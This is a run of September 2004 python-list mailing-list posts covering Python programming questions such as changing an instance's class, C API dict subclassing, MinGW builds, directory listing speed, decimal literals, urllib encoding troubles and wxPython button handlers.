Yannick Turgeon <nobody at nowhere.com> wrote:

> class A:
>     _value
>     __init__(self, value):
>         self._value = value
>         if value > 10:
>             set myself as an instance of B1   # How can I do that?

self.__class__ = B1

Whether you WANT to do that is quite another issue: you most likely
don't, though you wrongly believe you do.  Use a factory-function
pattern if you want to generate different possible classes, don't use
black magic such as changing an instance's class on the fly unless there
are _really good_ reasons (an example of a really good reason, IMHO, is
given by a recipe in the Cookbook that presents a bounded-ring-buffer
class... its instances commute from NotFull to Full classes once and for
all when they switch from non-full to full, NOT at instance generation
time...).


Alex


From ialbert at mailblocks.com  Fri Sep 10 08:40:32 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Fri, 10 Sep 2004 08:40:32 -0400
Subject: Electronic voting feasibility
In-Reply-To: <chr77a$4gj@odak26.prod.google.com>
References: <chr77a$4gj@odak26.prod.google.com>
Message-ID: <-_CdnSvxZtZcPdzcRVn-iw@giganews.com>

Greg Steffensen wrote:

> I'd like the internet voting
> component to be close to the real deal

Like surrounded by negative advertising, mindless exaggerations
and populist lies?

Istvan


From carribeiro at gmail.com  Mon Sep 13 15:35:39 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Mon, 13 Sep 2004 16:35:39 -0300
Subject: Annotatable Python docs -- now a reality !!!
In-Reply-To: <1001ff04.0409131100.385d6fc1@posting.google.com>
References: <b16e4ef7.0409130445.294ced1f@posting.google.com>
	<1001ff04.0409131100.385d6fc1@posting.google.com>
Message-ID: <864d3709040913123541393453@mail.gmail.com>

On 13 Sep 2004 12:00:11 -0700, Bob <bobx at linuxmail.org> wrote:
> Why not convert them to a wiki format? That would be a good and clean way to do it.

In my not-so-humble opinion, the *best* way to solve it would be a
custom Wiki-like implementation, where the docs would stay as they are
(unedited) with comments attached to the text. I have imagined it like
this:

-- add some "anchors" to the documentation, using a visual indicator.
(for example, at the start of every subsection or even paragraph; the
anchor could aligned to the left margin without cluttering the
format).

-- clicking on the anchor allows one to collapse/expand the
annotations for that section.

-- once expanded, it would be possible to write an a new annotation
just by writing it with Wiki-style markup.

To make things complete, the Wiki-style markup would allow for links
to the documentation using a simple syntax; for example,
[[Library/strings]] would point to the documentation chapter for the
strings standard library. This would make navigation pretty easy.

But in retrospect, I think that AMD did the right thing. I could be
talking about it for days to end, but he did implement his version,
and made it available, and that's what count -- actual running code.


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From abkhd at earth.co.jp  Mon Sep 20 13:09:48 2004
From: abkhd at earth.co.jp (A. B., Khalid)
Date: 20 Sep 2004 10:09:48 -0700
Subject: Fixed: pyMinGW patched Python compiles in MinGW & passes regrtests
Message-ID: <8ad8ad0a.0409200909.545f257@posting.google.com>

Hello all.

This is to inform those interested in getting Python to compile in
MinGW that the pyMinGW patch is now able to help compile both Python
2.3.4 Final and Python 2.4a3 and the resulting MinGW Python passes the
regrtests as follows.


#-----------------------------------------
# Python 2.3.4 Final:
#-----------------------------------------
$ python -i
Python 2.3.4 (#53, Sep 19 2004, 03:47:39) 
[GCC 3.2 (mingw special 20020817-1)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.winver
'2.3'
>>> raise SystemExit



#-----------------------------------------
# Python 2.3.4 Final: regrtests
#-----------------------------------------
$ python -i ../Lib/test/regrtest.py -unetwork
[CUT]
215 tests OK.
40 tests skipped:
    test_aepack test_al test_bsddb185 test_bsddb3 test_cd test_cl
    test_commands test_crypt test_curses test_dbm test_dl
    test_email_codecs test_fcntl test_fork1 test_gdbm test_gl test_grp
    test_imgfile test_ioctl test_largefile test_linuxaudiodev
    test_macfs test_macostools test_mhlib test_mpz test_nis
    test_normalization test_openpty test_ossaudiodev test_pep277
    test_plistlib test_poll test_posix test_pty test_pwd test_resource
    test_scriptpackages test_signal test_sunaudiodev test_timing
Those skips are all expected on win32.
D:\PYTHON23\lib\test\test_format.py:19: FutureWarning: %u/%o/%x/%X of
negative int will return a signed string in Python 2.4 and up
  result = formatstr % args



#-----------------------------------------
# Python 2.4a3:
#-----------------------------------------
$ python -i
Python 2.4a3 (#56, Sep 19 2004, 04:37:06) 
[GCC 3.2 (mingw special 20020817-1)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.winver
'2.4'
>>> raise SystemExit



#-----------------------------------------
# Python 2.4a3: regrtests
#-----------------------------------------
$ python -i ../lib/test/regrtest.py -unetwork
[CUT]
242 tests OK.
46 tests skipped:
    test__locale test_aepack test_al test_applesingle test_bsddb185
    test_bsddb3 test_cd test_cl test_codecmaps_cn test_codecmaps_hk
    test_codecmaps_jp test_codecmaps_kr test_codecmaps_tw
    test_commands test_crypt test_curses test_dbm test_dl test_fcntl
    test_fork1 test_gdbm test_gl test_grp test_imgfile test_ioctl
    test_largefile test_linuxaudiodev test_macfs test_macostools
    test_mhlib test_nis test_normalization test_openpty
    test_ossaudiodev test_pep277 test_plistlib test_poll test_posix
    test_pty test_pwd test_resource test_scriptpackages test_signal
    test_sunaudiodev test_threadsignals test_timing
Those skips are all expected on win32.
No handlers could be found for logger "cookielib"



Get pyMinGW from here:
http://jove.prohosting.com/iwave/ipython/pyMinGW.html


Regards
Khalid




--
Q. The purpose of life?

[A]: "I created the jinn and humankind only that they might 
     worship Me." (Translation, Qur'an, 51:56)

[B]: "Let us hear the conclusion of the whole matter: 
     Fear God, and keep his commandments: for this is the 
     whole duty of man." (KJV, Ecclesiastes 12:13)


From aleaxit at yahoo.com  Mon Sep  6 17:16:06 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 6 Sep 2004 23:16:06 +0200
Subject: Problems with dict and C API
References: <413C39F5.3040200@email.si>
Message-ID: <1gjps70.13wrslf1onzu0wN%aleaxit@yahoo.com>

Matjaz <surfmatj at email.si> wrote:

> Dear all,
> 
> I have trouble with creating objects with Python C API,
> subclassed from dict type. What I am trying to do is to
> subclass a dict class (in Python) and create its instance
> in a Python extension (C API).

PyIntance_New wants specifically an old-style class as its first
argument, and you're not giving that in the latter case (a subclass of
dict is intrinsically new-style) so it's diagnosing that and raising the
exception you see.  Just use PyObject_Call and you should be fine.  More
generally, use abstract-object-layer API calls unless you've got very
specific reasons to use something lower-level (concrete layer) -- 90%+
of the time you'll be far happied with the AOL calls.

BTW, to get sys.modules, I suggest you use PyImport_GetModuleDict()
rather than PySys_GetObject("modules") -- it's slightly more direct.


Alex


From john.thingstad at chello.no  Thu Sep  2 19:46:57 2004
From: john.thingstad at chello.no (John Thingstad)
Date: Fri, 03 Sep 2004 01:46:57 +0200
Subject: Xah Lee's Unixism
References: <41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<slrncjep0f.oa.amajorel@vulcain.knox.com>
	<opsdpprvxppqzri1@mjolner.upc.no>
	<slrncjf52a.oa.amajorel@vulcain.knox.com>
	<opsdp09czgpqzri1@mjolner.upc.no>
	<h0afj09mbdtleke0ughuntobho8f12o8ck@4ax.com>
Message-ID: <opsdp4cjnapqzri1@mjolner.upc.no>

On Thu, 02 Sep 2004 16:13:20 -0700, Alan Balmer <albalmer at att.net> wrote:

> On Fri, 03 Sep 2004 00:40:14 +0200, "John Thingstad"
> <john.thingstad at chello.no> wrote:
>
>> well documented at the time. Linux Pauling started out with minix and  
>> then
>> went on to make a (mostly) posix compliant unix.
>
> Linux Pauling? I know about Linus Torvalds and Linus Pauling . I don't
> think the latter had much to do with Linux.
>

lol.. oops. No Pauling was a nobel prize winning chemist.
No idea why that came out. (assosiative memory can be a bich)

-- 
Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/


From carribeiro at gmail.com  Tue Sep 14 10:19:19 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Tue, 14 Sep 2004 11:19:19 -0300
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <1gk3o6h.1gnebbiihpoy9N%aleaxit@yahoo.com>
References: <mailman.3261.1095106220.5135.python-list@python.org>
	<1gk3o6h.1gnebbiihpoy9N%aleaxit@yahoo.com>
Message-ID: <864d3709040914071939b07fd@mail.gmail.com>

Alex,

On Tue, 14 Sep 2004 13:43:46 +0200, Alex Martelli <aleaxit at yahoo.com> wrote:
> Carlos Ribeiro <carribeiro at gmail.com> wrote:
> > PC just can't handle paths with slashes -- I had to pass backslashes
> > to all os.* calls. I never had this issue before, so I don't know if
> > it's my Windows version or Python's libray fault (I assume the
> 
> I wonder if it's connected to using some specific internationalized
> version of Win98 SE, because, using US and Italian versions thereof, I
> had no problems whatsoever with this issue. 

You're right. I *never* had this issue before. I'm sure that there's a
bug somewhere -- mainly because changing the slashes in DrPython code
to double-backslashes solved my problem -- but I'm still trying to
figure it out. I'm using Python 2.3.2 (not the latest and greatest
version, I know), because I'm normally very conservative with my
development tools. I'll try to reproduce it and post it to the list.


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From aleaxit at yahoo.com  Sat Sep  4 08:13:21 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 4 Sep 2004 14:13:21 +0200
Subject: Announcing PyCs, a new Python-like language on .Net
References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net>
	<mailman.2573.1093758218.5135.python-list@python.org>
	<1093794853.349452@news.commspeed.net>
	<mailman.2711.1094020820.5135.python-list@python.org>
	<7Y2dncuabfymLajcRVn-gw@powergate.ca>
	<1iok6gznts9ad.ch1w241kak6y.dlg@40tude.net>
	<1gjicas.43o0lh1vo2fnaN%aleaxit@yahoo.com>
	<174wpg8cpd1fw$.1f5rojuiz30fb$.dlg@40tude.net>
Message-ID: <1gjlbcl.1w5zuee1rnvln5N%aleaxit@yahoo.com>

Mark Hahn <mark at prothon.org> wrote:
   ...
> >> I see no problem with homonyms, unless it was another computer language.
> > 
> > I do, because often people speak about technologies in contexts that
> > doesn't make it clear at all whether one is speaking about a computer
> > language or some other kind of technology.
> 
> We are trying to find a new name.  It's not easy.

Nothing worthwhile is easy.  I gave you some suggestions already.


> > I applaud your efforts (differently from many around here who seem to
> > sneer at them), even though I'm not going to get involved (no version of
> > dotNet's CLR runs on the Mac, I believe, so I'm not very interested in
> > anything that requires the CLR).  But I do believe you CAN do much
> > better than this in terms of naming.
> 
> I think you are wrong.  People are running the CLR on the Mac.  I don't
> remember if it is Mono or DotGNU.

Yep, I was wrong -- Mono 1.0.1 appears to run fine (tried IronPython on
top of it).  Happy to be wrong, too!-)


Alex


From sjdevnull at yahoo.com  Mon Sep 27 18:32:10 2004
From: sjdevnull at yahoo.com (G. S. Hayes)
Date: 27 Sep 2004 15:32:10 -0700
Subject: Optimizing tips for os.listdir
References: <ikrfl05b77p2jlbrp3kehvf5o3u8jp35od@4ax.com>
	<slrnclg6vb.rjj.nick@irishsea.home.craig-wood.com>
Message-ID: <96c2e938.0409271432.23a2b877@posting.google.com>

Nick Craig-Wood <nick at craig-wood.com> wrote in message news:<slrnclg6vb.rjj.nick at irishsea.home.craig-wood.com>...
> Thomas <2002 at weholt.org> wrote:
> >  [os.path.join(path, p) for p in os.listdir(path) if \
> >  os.path.isdir(os.path.join(path, p))]
> > 
> >  to get a list of folders in a given directory, skipping all plain
> >  files. When used on folders with lots of files,  it takes rather long
> >  time to finish. Just doing  a listdir, filtering out all plain files
> >  and a couple of joins, I didn't think this would take so long. 
> How many files, what OS and what filing system?
> 
> Under a unix based OS the above will translate to 1
> opendir()/readdir()/closedir() and 1 stat() for each file.  There
> isn't a quicker way in terms of system calls AFAIK.

Under Linux, readdir() returns a struct dirent that has a d_type
member indicating the file type (DT_DIR for directories) so you can
avoid calling stat() on each file.  I thought some BSD systems did
this as well.

I don't see how to get at this information from Python without making
the extra syscalls.


From aleaxit at yahoo.com  Thu Sep  2 04:42:35 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 2 Sep 2004 10:42:35 +0200
Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged
Message-ID: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com>

Thanks to David Bolen, who did the build, I have been able to make
available a win32 packaging for gmpy 1.0 on python 2.4 alpha 2 (should
work on any later Python 2.4 as well, but I have no way to check it at
all).  I can't reach sourceforge at the moment, so I have meanwhile put
the exe file up at:

http://www.aleax.it/Python/gmpy-1.0.win32-py2.4.exe

Users of both gmpy and python 2.4 on windows are invited to dowload and
install this, try it out, and let me know.  There are a few known
glitches David tells me about:
"""
It seems to pass the tests (other than the scan ones noted)
with the exception of a bunch gmpy_test_rnd.rand due to changing
traceback output in 2.4.  I also had to remove the use of doctest.master
since it looks like that's deprecated in 2.4 (it's no longer exported
by the module's __all__).
"""

Thanks to David, and to any users who can help me out, since I can't do
any testing on this build myself!


Alex


From aleaxit at yahoo.com  Wed Sep  8 12:16:14 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 8 Sep 2004 18:16:14 +0200
Subject: Remove items from a list
References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com>
	<mailman.3029.1094638477.5135.python-list@python.org>
	<9YvPBls/KvrF089yn@the-wire.com>
	<0oF%c.270317$UTP.260161@twister01.bloor.is.net.cable.rogers.com>
Message-ID: <1gjt3fi.2d3yfj19as0i5N%aleaxit@yahoo.com>

Dan Perl <dperl at rogers.com> wrote:

> But Stan says he tried something like that (see the comment in his code) and
> it was still not working.  I would still need a more complete code example
> to reproduce the problem and figure out what went wrong.

Stan was not looping backwards through the list, which as Mel indicated
is a crucial part of making this clunky idiom "work" (sorta...):

> >    The way to remove items from a list is (untested code):
> >
> >         for i in xrange (len (a_list)-1, -1, -1):
> >             if i_want_to_remove (a_list[i]):
> >                 del a_list[i]
> >
> > Going through the list backwards means that deleting an item
> > doesn't change the index numbers of items we've yet to

If you can make this work, you'll end up with *horrible* performance;
assuming that on average you're removing a number of items proportional
to len(a_list), this loop has O(N^2) performance.

That's because a Python list is not a linked-list, but rather a
compact-in-memory array... so, while on one hand indexing L[x] is O(1)
[NOT O(x) as it would be in a linked list], insertions and deletions
somewhere inside the list _are_ O(len(L)), since all items following the
insertion or deletion point must be shifted ('down' for a deletion, 'up'
for an insertion) to keep the array compact in memory.

Building a new list with a list comprehension (or with 'filter') and
possibly assigning it to the same name as the old list (or as the
contents of the old list, without name rebinding) OTOH is O(N), so it's
clearly the right way to go.


Alex


From tdelaney at avaya.com  Fri Sep  3 01:03:37 2004
From: tdelaney at avaya.com (Delaney, Timothy C (Timothy))
Date: Fri, 3 Sep 2004 15:03:37 +1000
Subject: compiling to python byte codes
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE01E44F7D@au3010avexu1.global.avaya.com>

Maurice LING write:

> I dont't quite get this right. Since x86/PPC uses register operations,
> why do virtual machines, like python's and java's, are designed as
> stack machines? Why not just stick to registers?

Because it's much easier to code a stack-based VM, and also much easier
to produce bytecode for a stack-based VM.

Once you bring registers into the picture, the lovely, straightforward
stack gets turned into a mess of which registers should be used when,
etc.

Tim Delaney


From bokr at oz.net  Sat Sep 25 13:54:17 2004
From: bokr at oz.net (Bengt Richter)
Date: 25 Sep 2004 17:54:17 GMT
Subject: Why not FP for Money?
References: <A128D751272CD411BC9200508BC2194D053C79D3@escpl.tcp.com.ar>
	<mailman.3872.1096056806.5135.python-list@python.org>
	<cj2ehb$h95$0$216.39.172.122@theriver.com>
	<1gko25a.yz5cxq1pi7416N%aleaxit@yahoo.com>
Message-ID: <cj4bc9$mm6$0$216.39.172.122@theriver.com>

On Sat, 25 Sep 2004 11:31:53 +0200, aleaxit at yahoo.com (Alex Martelli) wrote:

>Bengt Richter <bokr at oz.net> wrote:
>   ...
>> ISTM maybe decimal _literals_ should be represented internally _exactly_,
>> and exactness be preserved in results of expressions involving only
>> literals with +-*/ operations.
>
>IOW, you think that *decimal _literals_* should actually be *rationals*,
>and this new type 'rational' should be used only internally for
>computation between decimal literals, not otherwise made available to
>the user, e.g. for I/O...?  If we go to the trouble of introducing a
>rational type, why not make it explicitly available to the user then?
>
Interesting question. IWT that exact decimal literals would have a natural
compatibility with a full rational type, just as other exact numerical literals
(e.g. integers and longs) would, but I'm not sure that's enough to call for
an integrated full rational type. (Practicality beats purity?)

A plain decimal literal wouldn't need to be a rational, if you kept a power of
ten exponent instead of a denominator when the value is non-integral. I just bumped
into the need for some rational capability when considering practical use involving
division.

Maybe we could call it an exact decimal type, and let its capability be limited to
+-*/ unless someone wants to subtype and extend it, and just have some caveats re
performance/memory hits if you try to write general polynomial evaluations etc. using it.

This limited type would be explicitly available to the user, and could have an explicit
constructor that could accept other numeric types (including float plus spec of rounding
to create an exact value). (I have a toy that does this much pretty much brute force).

The reason for exactness was to get around the issue of what is specified in the Decimal
"context" (i.e., default number of decimals and rounding mode) before coming into contact
with a Decimal instance that carried a reference to such a context. I suspect anything other
than exact computations between literals would lead to counter-intuitive surprises when
mixed with Decimal instance terms, or else require annoying cruft in "spelling."

Interactively, I would expect exact decimal literals to be assignable and useable in
+-* expressions and return exact decimal literals as their __repr__ values, but the
question remains what repr(1d/3d) should return. I suppose str(1d/3d) could have an
approximate representation. My exactdec toy round-trips eval(repr(x))==x thus:

 >>> from ut.exactdec import ED
 >>> x = ED(1)/ED(3)
 >>> x
 ED('1 / 3')
 >>> eval(repr(x))==x
 True

I guess we would need some kind of '1d/3d' representation (perhaps just that?).
The trouble is that such a representation, while round-trippable, is not always
human-friendly. E.g.,

 >>> ED(1)+ED('2/7')
 ED('9 / 7')

vs e.g. a limited-precision indication of value for the same:

 >>> (ED(1)+ED('2/7')).round(6)
 ED('1.285714')

I guess a str version could have trailing .. to indicate more decimals, e.g.,
    1.285714..

I vary repr with value also, e.g.,
 >>> (ED(1)+ED('2/7'))*ED('1e6')
 ED('9000000 / 7')
 >>> (ED(1)+ED('2/7'))*ED('1e-6')
 ED('0.000009 / 7')
 >>> (ED(1)+ED('2/7'))*ED('1e-26')
 ED('9.0e-26 / 7')

So the concept evolves. Next mutation? ;-)

Regards,
Bengt Richter


From bokr at oz.net  Mon Sep 20 11:35:35 2004
From: bokr at oz.net (Bengt Richter)
Date: 20 Sep 2004 15:35:35 GMT
Subject: bad data from urllib when run from MS .bat file
References: <414cb56d$0$58900$75868355@news.frii.net>
	<cilp2b$l3k$0$216.39.172.122@theriver.com>
	<414edc1b$0$58892$75868355@news.frii.net>
Message-ID: <cimtc7$rtc$0$216.39.172.122@theriver.com>

On Mon, 20 Sep 2004 07:33:13 -0600, "Stuart McGraw" <smcg4191 at frii.RimoovThisToReply.com> wrote:

>"Bengt Richter" <bokr at oz.net> wrote in message news:cilp2b$l3k$0$216.39.172.122 at theriver.com...
>> On Sat, 18 Sep 2004 16:23:40 -0600, "Stuart McGraw" <smcg4191 at frii.RimoovThisToReply.com> wrote:
>> 
>> >I just spent a $*#@!*&^&% hour registering at ^$#@#%^ 
>> >Sourceforce and trying to submit a Python bug report
>> >but it still won't let me.  I give up.  Maybe someone who 
>> >cares will see this post, or maybe it will save time for 
>> >someone else who runs into this problem...
>> >
>> >================================================
>> >
>> >Environment:
>> >- Microsoft Windows 2000 Pro
>> >- Python 2.3.4
>> >- urllib (version shipped with Python-2.3.4)
>> >
>> >Problem: 
>> > urllib returns corrupted data when reading an EUC-JP encoded 
>> > web page, from a python script run from a MS Windows .BAT 
>> >file, but not when the same script is run from the command line.
>> Just a thought: in case your command line is being interpreted
>> by cmd.exe and .bat by something else (command.com?) you could
>> check if it makes a difference, e.g.,
>> 
>> copy test.bat test.cmd
>> 
>> and try it again? (explicitly as test.cmd, not just test, since any
>> same-name .com or .exe or .bat may have priority over .cmd)
>> You can probably investigate the latter by something like
>> 
>>  [21:54] C:\pywk\junk>echo %pathext%
>>  .COM;.EXE;.BAT;.CMD
>
>Well, I'm pretty sure cmd.exe was executing it, but I tried your
>suggestion to make absolutely sure.  Same results :-(
>Given the other (seeming) urllib problem I mentioned in another
>post in this thread, which appeared without any involvement
>of batch scripts, I am getting more and more suspicious that
>urllib is buggy, at least with non-single byte data.
>
Hm, what happens if you make a test2.py and pass it the name of an output
file instead of piping the output from print? In fact, eliminate the
encoding and the line generator and everything, and just let test2 copy the entire
server data in one single read and write it in binary. I.e,
     open(sys.argv[2],'wb').write(urllib.urlopen(...).read())

That should show whether python is seeing the identical input from the server.
Then you could do it line-wise (not with a print line ending in ",", but with
a binary file write). That would say whether line generation chunking on input
was doing anything to the data -- if possibly urrlib is buffering/chunking
differently for interactive vs bat file. Just grasping at straws, but eliminating
chunking, piping, re/encoding, binary vs text mode doubts from the test should
show why interactive vs .bat is different IWT.

Also, your mention of two-character errors made me wonder about spurious BOMs
or such from encoding file substrings as though they were entire files?
Would a final print for a final '\n' do anything that might trigger a final flush
differently with potential cooking consequence? (why the print with space instead BTW)?
What if you just do your own file.write output in binary and control everything?

Just some additional thoughts. Sorry the cmd vs bat thing didn't do anything.
BTW, what command line options are in use to start your interactive session
(it is console, not idle, right?). You didn't seem to have any (e.g. -u) in test.py.
Could the .BAT file be seeing a different environment? could the http://.. need quoting?
I.e., could the server be seeing a glitched url tail and be sending the same file but with some
different option?

Hope something gives you a useful idea. That's all I can think of for the moment ;-)

Regards,
Bengt Richter


From FBatista at uniFON.com.ar  Wed Sep 22 13:54:46 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Wed, 22 Sep 2004 14:54:46 -0300
Subject: An attempt to use a python-based mini declarative language fo
	r form definition
Message-ID: <A128D751272CD411BC9200508BC2194D053C79B0@escpl.tcp.com.ar>

[Carlos Ribeiro]

#- -- This is a simple code snippet of the intended form declaration:
#- 
#- class UserForm(Form):
#-     nickname = TextBox(length=15, default="")
#-     password = TextBox(length=10, default="", password=True)
#-     name     = TextBox(length=40, default="")
#- 

I'm not proposing a solution here, just a thought.

What happens if I don't wan't my form to be like:

  nickname [               ]
  password [          ]
  name     [                                        ]

but, for example:

  nickname [               ]    password [          ]
  name     [                                        ]

There should be some way to pass the "location". If you solve this, you got
your answer (of course, passing the "location" is not trivial, that's why
every GUI toolkit has it own approach).

Regards,

.	Facundo
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040922/372ff6c4/attachment.html>

From bokr at oz.net  Sun Sep 19 21:41:06 2004
From: bokr at oz.net (Bengt Richter)
Date: 20 Sep 2004 01:41:06 GMT
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<cihrab$1v8$02$1@news.t-online.com>
	<7xwtyqsmvu.fsf@ruckus.brouhaha.com>
	<cijurc$4gd$02$1@news.t-online.com>
	<cil8kl$md2$0$216.39.172.122@theriver.com>
Message-ID: <cilcfi$tjm$0$216.39.172.122@theriver.com>

On 20 Sep 2004 00:35:33 GMT, bokr at oz.net (Bengt Richter) wrote:
[...]
> 
>If you add a small Decimal delta repeatedly, will it get rounded away like the floating point
>version, or will accuracy get promoted, or what? Sorry, I haven't read the docs yet ;-/
>
I needn't have used 1e-300 to get the effect -- 1e-16 is relatively small enough:

 >>> acc = 1.0
 >>> for i in xrange(100): acc += 1e-16
 ...
 >>> acc
 1.0
 >>> ED(acc, 'all')
 ED('1')
 >>> ecc = ED(1)
 >>> for i in xrange(100): ecc += ED('1e-16')
 ...
 >>> ecc
 ED('1.00000000000001')

Regards,
Bengt Richter


From fgeiger at datec.at  Sun Sep 12 14:57:42 2004
From: fgeiger at datec.at (F. GEIGER)
Date: Sun, 12 Sep 2004 20:57:42 +0200
Subject: Returning Ref. to Runtime Created Control
References: <di49k0945hi9n73nkc0cnajk2af0e9k2mm@4ax.com>
Message-ID: <ci2676$fun$1@newshispeed.ch>


"Gary" <probably.a.bogus.address at wi.rr.com> schrieb im Newsbeitrag
news:di49k0945hi9n73nkc0cnajk2af0e9k2mm at 4ax.com...
> Good afternoon:
>
> I've playing with dynamically created buttons in Boa Constructor using
> wxPython:
>
> def OnBtnButton(self, event):
>         btnIds = []
>         self.btn2 = []
>         xx = 24; yy = 42
>         for cntr in range(168):
>             self.btn2.append(wxButton(self.panel1, -1, str(cntr + 1),
>             wxPoint(xx, yy), wxSize(23, 23), 0))
>             rr = self.btn2[cntr].GetId()
>
>             yy += 26
>
>             if (yy + 44) > 380: # Nearing bottom of frame
>                 yy = 42             # Back to top of frame
>                 xx += 26           # starts new column
>
>             btnIds.append(str(rr))
>
>         func = ['self.BtnFunc1', 'self.BtnFunc2', 'self.BtnFunc3'..]
>
>         for ew in range(24):
>             EVT_BUTTON(self, self.btn2[ew].GetId(), eval(func[ew]))
>
> def BtnFunc1(self, event):
>         self.t1.SetValue("btnOne")
>
> def BtnFunc2(self, event):
>         self.t1.SetValue("btnTwo")
>
> def BtnFunc3(self, event):
>         self.t1.SetValue("btnThree")
>
> # etc.
>
> How can I press one of the buttons and have it return a reference to
> itself? (Some other languages have something like root._name or
> self._name). Thanks.
> --

def _onAnyOfMyButtons_(self, event):
   theResponsibleButton = event.GetEventObject()
   return

This way you only need *one* handler for hundreds of buttons.

You could derive your own button so that you could write:

def _onAnyOfMyButtons_(self, event):
   theResponsibleButton = event.GetEventObject()
   theResponsibleButton.writeYourDataToMyControl(self.t1)
   return

Or if your subclassed button own an attribute 'index':

def _onAnyOfMyButtons_(self, event):
   theResponsibleButton = event.GetEventObject()
   self.t1.SetValue("Button %d was pressed. " % theResponsibleButton.index)
   return

HTH
Franz GEIGER




From JSmuts at clover.co.za  Mon Sep 27 06:51:54 2004
From: JSmuts at clover.co.za (Jaco Smuts)
Date: Mon, 27 Sep 2004 12:51:54 +0200
Subject: Optimizing tips for os.listdir
In-Reply-To: <ikrfl05b77p2jlbrp3kehvf5o3u8jp35od@4ax.com>
Message-ID: <OF7780AEAE.814786A5-ON42256F1C.003BA31B-42256F1C.003BAF09@clover.co.za>

I have not tested the speed on this, but I use the os.walk module for 
similair functionality.






Thomas <2002 at weholt.org>
Sent by: python-list-bounces+jsmuts=clover.co.za at python.org
09/27/2004 12:44 PM
 
        To:     python-list at python.org
        cc: 
        Subject:        Optimizing tips for os.listdir


I'm doing this :

[os.path.join(path, p) for p in os.listdir(path) if \
os.path.isdir(os.path.join(path, p))]

to get a list of folders in a given directory, skipping all plain
files. When used on folders with lots of files,  it takes rather long
time to finish. Just doing  a listdir, filtering out all plain files
and a couple of joins, I didn't think this would take so long. 

Is there a faster way of doing stuff like this?

Best regards,
Thomas
-- 
http://mail.python.org/mailman/listinfo/python-list

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040927/4ece9c95/attachment.html>

From roman.yakovenko at actimize.com  Thu Sep  9 07:10:51 2004
From: roman.yakovenko at actimize.com (Roman Yakovenko)
Date: Thu, 9 Sep 2004 14:10:51 +0300
Subject: Set and {} comparison confusion
Message-ID: <2D89F6C4A80FA547BF5D5B8FDDD04523060CCA@exchange.adrembi.com>


> -----Original Message-----
> From: Alex Martelli [mailto:aleaxit at yahoo.com]
> 
> 
> Roman Yakovenko <roman.yakovenko at actimize.com> wrote:
>    ...
> > classes have __eq__, __ne__. Classes are mutable - I can't define 
> > __hash__ function. __lt__ - I can implement but it will be 
> meaningless.
> 
> As long as it respects the fundamental semantics constraints such as:
>     a < b and b < c   imply   a < c
>     a < b implies not (a == b)
>     a < b implies (a != b)
>     not (a < a) for any a
> and so on, your __lt__will not be 'meaningless' but very useful.

Well I am not talking about algebra. Those rules are clear to me.

> Basically, __lt__ is meaningful if it's transitive, 
> non-reflective, and
> compatible with your == and != (which I assume are compatible 
> with each
> other); a transitive non-reflective < defines implicitly an 
> equivalence
> relation, a eqv b <--> not (a < b or b < a), and you need your == to
> express exactly that equivalence relation... so if your == is
> meaningful, your < can't really be 'meaningless'!-)


I don't agree with you. I can compare properties of some object.
For example I can compare cows:
 one python is longer then other ( length )
 one python is heavier then other ( weight )
 one python is older then other ( age )

But I can't define meaningful operator "<" on pythons.
I can compare pythons only property by property. I don't thing
that next code is meaningful

def __lt__( self, other_python ):
	return self.length < other_python.length \
             and self.weight < other_python.weight \
             and self.age < other_python.age 

I see this code as meaningless on python's.  

> > Thank you for help. I think I have a dicision:
> > 1. I will implement meaningless __lt__
> > 2. I will sort ( I don't have duplicated items ) every time 
> I need to compare
> > 2.1 Because sort is happen in place next time it will take 
> less time to sort.
> 
> Yes, that does seem to make sense to me.  Once two lists without
> duplicates are sorted, they're equal as sets iff they're == as lists;
> and yes, maintaining sorted order is typically quite cheap in 
> Python due
> to Tim Peters' powerful natural mergesort algorithm as implemented
> inside list.sort (though it might be worth having a look at the bisect
> module, it's likely going to be faster to just sort the lists each
> time).
> 
> 
> > Again - Thanks for help. It was very usefull. It seems that 
> I had wrong
> expectation
> > from set - " unordered set collection based only on 
> comparison operators".
> > My mistake. 
> 
> Ah, isn't set documented to need hashable elements?  It should be.  Of
> course, _why_ your class appears to be hashable when it defines __eq__
> and not __hash__ I dunno -- Python should diagnose that, but it does't
> appear to...

It is my fault too. All my classes derives from object. object do implements __hash__
function. I think I should raise exception if somebody tries to insert object into 
set \ dictionary
 

> Alex
> -- 
> http://mail.python.org/mailman/listinfo/python-list
> 


From ruchika_khera at hotmail.com  Thu Sep  9 01:33:16 2004
